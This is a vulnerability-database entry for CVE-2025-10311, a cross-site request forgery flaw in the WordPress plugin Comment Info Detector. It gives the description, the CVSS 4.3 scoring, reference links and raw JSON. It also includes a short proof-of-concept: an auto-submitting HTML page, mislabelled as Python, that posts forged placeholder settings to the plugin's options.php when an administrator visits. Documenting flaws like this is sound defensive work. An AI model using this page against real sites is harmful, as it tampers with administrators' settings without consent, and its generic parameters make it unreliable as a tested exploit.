Security Vulnerability Report
中文
CVE-2025-10311 CVSS 4.3 MEDIUM

CVE-2025-10311

Published: 2025-10-03 12:15:43
Last Modified: 2026-04-15 00:35:42

Description

The Comment Info Detector plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.5. This is due to missing nonce validation on the options.php file when handling form submissions. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Comment Info Detector ≤ 1.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-10311 - Comment Info Detector CSRF PoC --> <!-- Save as .html and host on attacker-controlled server --> <!-- Victim must be logged in as WordPress admin and visit this page --> <html> <head> <title>Loading...</title> </head> <body onload="document.forms[0].submit();"> <form action="http://target-wordpress-site.com/wp-content/plugins/comment-info-detector/options.php" method="POST"> <!-- Modify plugin settings - example parameters --> <input type="hidden" name="option_name" value="malicious_value" /> <input type="hidden" name="setting_key" value="attacker_controlled" /> <input type="submit" value="Click here" /> </form> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10311", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:42.820", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Comment Info Detector plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.5. This is due to missing nonce validation on the options.php file when handling form submissions. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/comment-info-detector/trunk/options.php#L7", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/12bcc338-9e16-410f-bf3b-3756bc9b7024?source=cve", "source": "[email protected]"}]}}